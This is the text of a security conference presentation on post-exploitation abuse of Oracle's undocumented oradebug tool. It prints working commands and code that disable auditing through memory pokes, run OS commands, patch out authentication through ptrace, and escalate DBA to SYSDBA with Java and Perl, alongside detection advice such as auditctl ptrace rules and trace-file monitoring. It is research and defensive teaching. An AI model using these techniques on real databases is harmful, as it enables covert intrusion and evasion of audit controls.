Almost invisible cloak in Oracle databases or the “undocumented” helps us again

László Tóth
donctl@gmail.com
Disclaimer

The views expressed in this presentation are my own and not necessarily the views of my current, past or future employers.
Content

• Introduction
• Warmup example
• Quick introduction to Oracle auditing
• General introduction to oradebug
• Oradebug as a hacker tool
• Oracle authentication backdoor on Linux
• Protection
• Summary
Post-Exploitation

Everything will be post-exploitation so you've already gained the highest level of access
Warning

Don't try this on a production system!
For education purpose only!
Warmup example

c:\>sqlplus test/Test1234@192.168.1.10
SQL*Plus: Release 11.2.0.1.0 Production With the Partitioning, OLAP, Data Mining and Real Application Testing options

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64 bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> select * from sys.test_audit_table
ERROR at line 1:
ORA-00942: table or view does not exist

SQL> quit
Disconnected from Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64 bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

c:\>
Warmup example

Thanks to David Litchfield, one of the method is to check the deleted records in the tablespace file.

c:\svn\rorakit\Debug\rorablock.exe -f c:\svn\oracle\hacktivity2011\demo\system01.dbf -o 74764 -c c:\svn\oracle\hacktivity2011\demo\aud.txt -s "\" -a D

+---------------------------------------------
290021111TEST\WORKGROUP\HAL9000\HAL9000\100\0
+---------------------------------------------
290021211TEST\WORKGROUP\HAL9000\HAL9000\103\2004\TEST_AUDIT_TABLE
+---------------------------------------------
290021311TEST\WORKGROUP\HAL9000\HAL9000\101\0
+---------------------------------------------

Completed.
Quick introduction to Oracle auditing

- Fine-Grained Auditing
- Standard Auditing
- SYS Auditing
- Specialized Logs and Levels:
  - AUDIT_TRAIL
  - AUDIT_SYS_OPERATIONS
  - AUDIT_SYSLOG_LEVEL
  - Listener Log
  - DB, DB, EXTENDED, OS, XML, XML, EXTENDED, NONE
  - FACILITY.LEVEL
  - TRUE, FALSE
Quick introduction to Oracle auditing

Lot's of things should be considered here, but for keeping it simple for the demos we consider the following scenario:

Send the logs ASAP out of the system to protect them from the modification.

SQL> show parameters audit

<table>
<thead>
<tr>
<th>NAME</th>
<th>TYPE</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>audit_file_dest</td>
<td>string</td>
<td>/u01/app/oracle/admin/orcl/adump</td>
</tr>
<tr>
<td>audit_sys_operations</td>
<td>boolean</td>
<td>TRUE</td>
</tr>
<tr>
<td>audit_syslog_level</td>
<td>string</td>
<td>LOCAL1.WARNING</td>
</tr>
<tr>
<td>audit_trail</td>
<td>string</td>
<td>OS</td>
</tr>
</tbody>
</table>
Quick introduction to Oracle auditing


Aug 18 18:42:43 hekkcampub64 Oracle Audit[5462]: LENGTH : '193' ACTION : [34] 'select *
from sys.test_audit_table'
Quick introduction to Oracle auditing


Quick introduction to Oracle auditing

Message for the Management:

- The SYSDBA/SYSOPER users are handled differently than the normal users
- Audit log can be in several forms and several places
- Central log collection and management is a good idea
The undocumented

Really?

– Tanel Poder: Advanced Research Techniques in Oracle (NoCOUG 2006)
– psoug.org/reference/oradebug.html
– Norbert Debes: Secrets of the Oracle Database (book)
The undocumented

Meanwhile in the session handled with process with procid 11828

```sql
SQL> oradebug setospid 11942
Oracle pid: 28, Unix process pid: 11942, image: oracle@hekkcampub64
SQL> oradebug EVENT 10046 TRACE NAME CONTEXT FOREVER, LEVEL 12
Statement processed.
SQL> oradebug EVENT 10046 TRACE NAME CONTEXT OFF, LEVEL 12
Statement processed.
SQL> oradebug tracefile_name
/u01/app/oracle/diag/rdbms/orcl/orcl/trace/orcl ora 11942.trc
SQL>
```

```sql
SQL> select 'AfterTrace' from dual;
'AFTERTRAC
----------
AfterTrace
SQL> select 'AfterTraceOFF' from dual;
'AFTERTRACEOFF
----------
AfterTraceOFF
SQL> _
```
The undocumented

```sql
select 'AfterTrace' from dual
END OF STMT
```

---

```sql
-- Additional code snippets...
```
The undocumented

As a hacker tool?:

- Some mentions it can be dangerous (Alexander Kornbrust, Pete Finnigan)
- Blackhat 2011 (THIS YEAR) David Litchfield showed how to run operating system level command (a bit complicated way)
The undocumented

Why? For example:

- Even if the SYSDBA audit is used the oradebug command is not logged in that way
- It will be logged into a trace file, that can be deleted by a SYSDBA
- POKE and PEEK commands allow to manipulate the oracle memory directly (DUMPVAR/SETVAR)
- CALL allows to call any function inside the oracle process
- ...
The undocumented
The undocumented

- SYSDBA audit switched off
- Standard Audit switched off
- Operating system command was run

```
oradebug poke 0x0600340E0 1 0
```
```
oradebug poke 0x060041BA8 2 0
```
```
oradebug call system "/bin/ls -l>/tmp/ls.txt"
```
The undocumented beginning of the kzaAudit function of the oracle process.
The undocumented

- On Windows it is more dangerous, because Oracle runs under the SYSTEM user
- Oracle is multithreaded not multiprocess on Windows, thus there is another interesting possibility
- At the beginning of this year I demonstrated how Oracle authentication can be switched off
The undocumented

With the help of the Titan Engine it is quite easy
The undocumented

The core of the PatchEx function from the Titan Engine

if(hProcess != NULL){
    VirtualQueryEx(hProcess, MemoryStart, &MemInfo, sizeof MEMORY_BASIC_INFORMATION);
    OldProtect = MemInfo.AllocationProtect;
    VirtualProtectEx(hProcess, MemoryStart, MemorySize, PAGE_EXECUTE_READWRITE, &OldProtect);

    if(MemorySize - ReplaceSize != NULL){
        recalcSize = abs(MemorySize - ReplaceSize);
        if(AppendNOP){
            WriteProcessMemory(hProcess, MemoryStart, ReplacePattern, ReplaceSize, &uNumberOFBytesRead);
            lpMemoryStart = (LPVOID)((ULONG_PTR)MemoryStart + ReplaceSize);
            for(i = 0; i < recalcSize; i++){
                WriteProcessMemory(hProcess, lpMemoryStart, &FillByte, 1, &uNumberOFBytesRead);
                lpMemoryStart = (LPVOID)((ULONG_PTR)lpMemoryStart + 1);
            }
        } else if(PrependNOP){
            lpMemoryStart = MemoryStart;
            for(i = 0; i < recalcSize; i++){
                WriteProcessMemory(hProcess, lpMemoryStart, &FillByte, 1, &uNumberOFBytesRead);
                lpMemoryStart = (LPVOID)((ULONG_PTR)lpMemoryStart + 1);
            }
            WriteProcessMemory(hProcess, lpMemoryStart, ReplacePattern, ReplaceSize, &uNumberOFBytesRead);
        } else{
            WriteProcessMemory(hProcess, MemoryStart, ReplacePattern, ReplaceSize, &uNumberOFBytesRead);
        }
    } else{
        WriteProcessMemory(hProcess, MemoryStart, ReplacePattern, ReplaceSize, &uNumberOFBytesRead);
    }
    VirtualProtectEx(hProcess, MemoryStart, MemorySize, MemInfo.AllocationProtect, &OldProtect);
    return(true);
The undocumented

• We can use VirtualProtect function to change the memory protection of a code page
• With “oradebug” we can call functions inside the Oracle process
• and Oracle on Windows is multithreaded
The undocumented

DEMO
The undocumented
The undocumented

And the fun part:

– After a successful authentication the server sends the encrypted SERVER_TO_CLIENT string (AUTH_SVR_RESPONSE) (11g)

– We need a modified client to be able to login with a wrong password

– A normal user with a normal client won't see any difference

This is how a security measure helps us to hide our presence!
The undocumented

Can it be done this on Linux?

- Tanel Poder in his presentation showed the _oradbg_pathname parameter
- Oracle runs the command given in the parameter if the right event is configured
  ```sql
  alter system set events 'logon debug';
  ```
- The parameter of the command is the process_id of the oracle process
The undocumented

Finding the address is difficult, overwrite is easy

```c
int main(int argc, char *argv[]) {
    int pid, len;
    //0x0000000001892792 <+380>: 0f 84 b9 00 00 00 00  je 0x1892051 <kzsrvup+571>
    //0x0000000001892798 <+386>: 41 83 fe 02  cmp r14d,0x2
    char nops[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x41, 0x83};

    if (argc < 2) {
        printf("usage: %s <pid>\n", argv[0]);
        exit(-1);
    }

    pid = atoi(argv[1]);

    ptrace_attach(pid);
    printf("attached to pid %d\n", pid);

    //11.2.0.1
    //write_data(pid, 0x000000001892792, nops, 8);

    //11.2.0.2
    write_data(pid, 0x000000001d47190, nops, 8);

    ptrace_detach(pid);
    return 0;
}
```
The undocumented ptrace:

- ptrace_scope on Ubuntu (from 10.10) (The parent can debug the child. A user cannot debug it's own processes.)
- SELinux (good luck)
- Use the audit subsystem to detect ptrace calls (it's not perfect):
  
  ```
  auditctl -a entry,always -F a0=16 -S ptrace
  auditctl -a entry,always -F a0=0 -S ptrace
  auditctl -a entry,always -F a0=7 -S ptrace
  ```
The undocumented

• But we don't need ptrace, because we have oradebug!
• VirtualProtect ↔ mprotect
• It is simpler because you don't need malloc here:

```c
int mprotect(const void *addr, size_t len, int prot);
```
The undocumented
Excerpt from the perl script. Off course you have to check whether it is remote or not, because of the recursion...
The undocumented

• With the help of oradebug we:
  – We switched off the authentication for the non SYSDBA users on Windows
  – We switched off the authentication for the SYSDBA users on Linux
  – And if we consider the previous actions, we can say easily oradebug is a useful command...
  – Of course more testing is needed how the attacks (audit, authentication) work with different configurations and cases
Protection

• Do not forget there are many ways for a DBA to become SYSDBA e.g.:
  – He can access the file system in the name of the oracle user (SYSTEM on Windows)
  – He can run operating system level commands in the name of the oracle user (SYSTEM on Windows), for example with java
  – ...
create or replace and resolve java source named "JAVACHMD" as
import java.lang.*;
import java.io.*;

public class JAVACHMD
{
    public static void exec(String command) throws IOException
    {
        Runtime.getRuntime().exec(command);
    }
};
/

create or replace procedure javaexec (command in VARCHAR2)
as language java
name 'JAVACHMD.exec(java.lang.String)';
/
begin dbms_java.grant_permission( 'DBAUSER','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
end;
/
begin dbms_java.grant_permission( 'DBAUSER','SYS:java.lang.RuntimePermission','writeFileDescriptor','*' );
end;
/
begin dbms_java.grant_permission( 'DBAUSER','SYS:java.lang.RuntimePermission','readFileDescriptor','*' );
end;
/

Everybody knows this
Protection

SQL> oradebug setmypid
ORA-01031: insufficient privileges
SQL> select p.spid from v$session s, v$process p where p.addr=s.paddr and s.sid=(select sid from sys.v_$mystat where rownum=1);
SPID
----------------------
7956
SQL> exec javaexec('/usr/bin/perl /tmp/oragetsysdba.pl 7956');
PL/SQL procedure successfully completed.
SQL> oradebug setmypid
ORA-01031: insufficient privileges
SQL> oradebug setmypid
Statement processed.
SQL>

DBA to SYSDBA
Protection

#!/usr/bin/perl

open LOG, ">>/tmp/log.txt";
open OBJDUMP, "/usr/bin/objdump -t /u01/app/oracle/product/11.2.0/dbhome_1/bin/oracle |" $addr="";
while(<OBJDUMP>){
    if(/^(.+ )g.*kzspga/){
        $addr=$1;
        break;
    }
}
print LOG "kzspga at: ".addr."\n";
close OBJDUMP;
close LOG;

open SQLPLUS, "/u01/app/oracle/product/11.2.0/dbhome_1/bin/sqlplus / as sysdba" or prin
close SQLPLUS;

#Turn on SYSDBA (kzspga_)
print SQLPLUS "oradebug poke 0x".$addr." 1 0xA\n";
close SQLPLUS;
close LOG;

DBA to SYSDBA
Protection

Fixed tables - presents the oracle memory - help in the detection.
(Thanks Alex for the idea)
Protection

• The generated trace files should be monitored
• “diagnostic_dest” parameter (/u01/app/oracle be defualt ) from 11g (OFA, ADR). For example:
  /u01/app/oracle/diag/rdbms/orcl/orcl/trace/orcl_ora_29849.trc

• And do not forget:
  alter session set tracefile_identifier=aaaa;
  alter system set diagnostic_dest='/tmp'
Protection

- It is not a trivial task to monitor text files that are newly generated and their names are different.
- For example, the default syslog on RedHat and on Ubuntu does not have this feature (rsyslog).
- More security features should be considered on the given platform e.g.:
  - Audit subsystem
  - Special file access rights (yes there is more than 'rwx'...)
  - ...

Protection

- I wrote a PoC that uses the inotify feature of the Linux kernel to detect the new file creations.
- The oradal (ORADebug Attempt Logger) was born.
- More testing is needed to understand which audit events and inotify events can be connected together as an attack attempt.
- For example, the SYSDBA modifies the file from the database.
Protection

Hardware support for oradal

Oradebug Alarm Screen
Summary

• Configure auditing is not easy
• The “undocumented” oradebug can be used as a hacker tool (Commodore 64 style)
• Besides the audit we should consider to collect and analyze the trace files from security point of view
• Arduino is fun :)
URLs

- http://www.soonerorlater.hu/
- http://blogs.conus.info/
- http://www.databasecurity.com/oracle-backdoors.ppt
- http://null.co.in/section/atheneum/projects/ (jugaad)